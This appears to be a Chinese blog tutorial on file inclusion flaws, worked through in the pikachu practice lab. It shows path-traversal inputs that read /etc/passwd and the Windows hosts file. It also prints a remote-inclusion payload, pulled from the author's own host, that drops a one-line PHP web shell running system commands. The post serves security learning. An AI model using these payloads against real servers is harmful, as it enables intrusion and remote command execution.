File Inclusion(文件包含漏洞)之 pikachu 靶场练习

File Inclusion(文件包含漏洞)

文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。
上一篇文章对文件包含进行了一些学习:文件包含漏洞学习

下面通过pikachu 靶场里的 File Inclusion 模块对文件包含的两种分类进行测试。

File Inclusion(local)本地文件包含

当包含的文件在服务器本地时,就形成了本地文件包含。
进入界面,按上面的说明选择一个名字后,可以看到 url 发生了变化,通过前端传了一个文件名到后台,而后台会对指定的目标文件进行操作。
(指定的文件都是后台自己本身存在的)
根据不同的选择,包含执行了不同的文件,有file1.php 、file2.php 等。
在这里插入图片描述
接下来可以用后台系统的固定配置文件进行测试,即本地文件。
Linux系统和Windows系统的配置文件路径不同。
可以用多个“…/”来跳转根目录。

Windows:…/…/…/…/Windows/System32/drivers/etc/hosts
Linux:…/…/…/…/…/…/…/…/etc/passwd

然后我这里的 pikachu 靶场是装再 Windows 下的phpstudy 里的。
在这里插入图片描述
可以看到上面变量进行包含这个文件之后页面返回了文件里的信息。
然后我们尝试在自己的Windows下找到这个文件进行验证一下。
可以发现里面的内容和前面浏览器读取的内容是一样的。
在这里插入图片描述

File Inclusion(remote)远程文件包含

当包含的文件在远程服务器上时,就形成了远程文件包含。
所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)

远程文件包含前提条件:
需要配置文件 php.ini 中 allow_url_include = on
以及 allow_url_fopen = on

刚点开界面,发现我这里存在警告,就是我的文件没有配置好,前提条件不足。
在这里插入图片描述
开始去查找警告存在的问题,从红色文字的警告中可以看到说是 php.ini 文件中的allow_url_include 没有打开。
因为我的靶场是用 phpstudy 装的,那就到根目录里找。
既然是要找 php 的配置文件,就打开 phpstudy 的扩展件找到 php 文件。
在这里插入图片描述
打开自己所安装的 PHP 版本,往下拉就可以看到 php.ini 文件。
在这里插入图片描述
打开文件进行编辑发现有一大堆代码,要快速找到目标位置,可以按 ctrl +F 查找,输入内容内容进行查找就可以直接跳转到目标位置了。
并且可以看到刚刚警告中告诉我们的 allow_url_include 的确没有打开,显示 Off,那就对其进行编辑改为 On 即可。
在这里插入图片描述
修改完之后,把phpstudy 里的中间件关闭再重新打开,再进入到靶场,可以看到警告消失了。
在这里插入图片描述
同样按说明选择一个名字尝试提交。
可以看到和本地包含类似,也是在可控参数filename 上传入了文件的地址。
注:’%2F‘是’/‘的 url 编码。
在这里插入图片描述
接下来我们可以搭建一个站点,把站点地址输入到 url 中进行测试。
尝试写入一句话木马,格式为txt文本,前面讲到不能包含同后缀的文件,是把其他类型的文件当成 php 解析。
在这里插入图片描述
创建的站点内容为:

<?php
   $myfile = fopen("yijuhua.php","w");
   $txt = '<?php system($_GET[x]);?>';
   fwrite($myfile,$txt);
   fclose($myfile);
?>

在这里插入图片描述

然后就得到远程包含的地址:

http://192.168.0.101/pikachu/test/yijuhua.txt

地址上的IP即远程那台要把文件传入服务器的计算机的IP。

通过修改变量 filename 的参数,改为远程包含文件的地址。
上传成功后,我们的文件就传到了后台服务器所在文件夹的同级目录下。
也可以看到,文件后缀由 .txt 变成了 .php,就是把 txt 当初 php 解析了。
在这里插入图片描述
另外,如果权限不够的话可能会出现警告报错。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值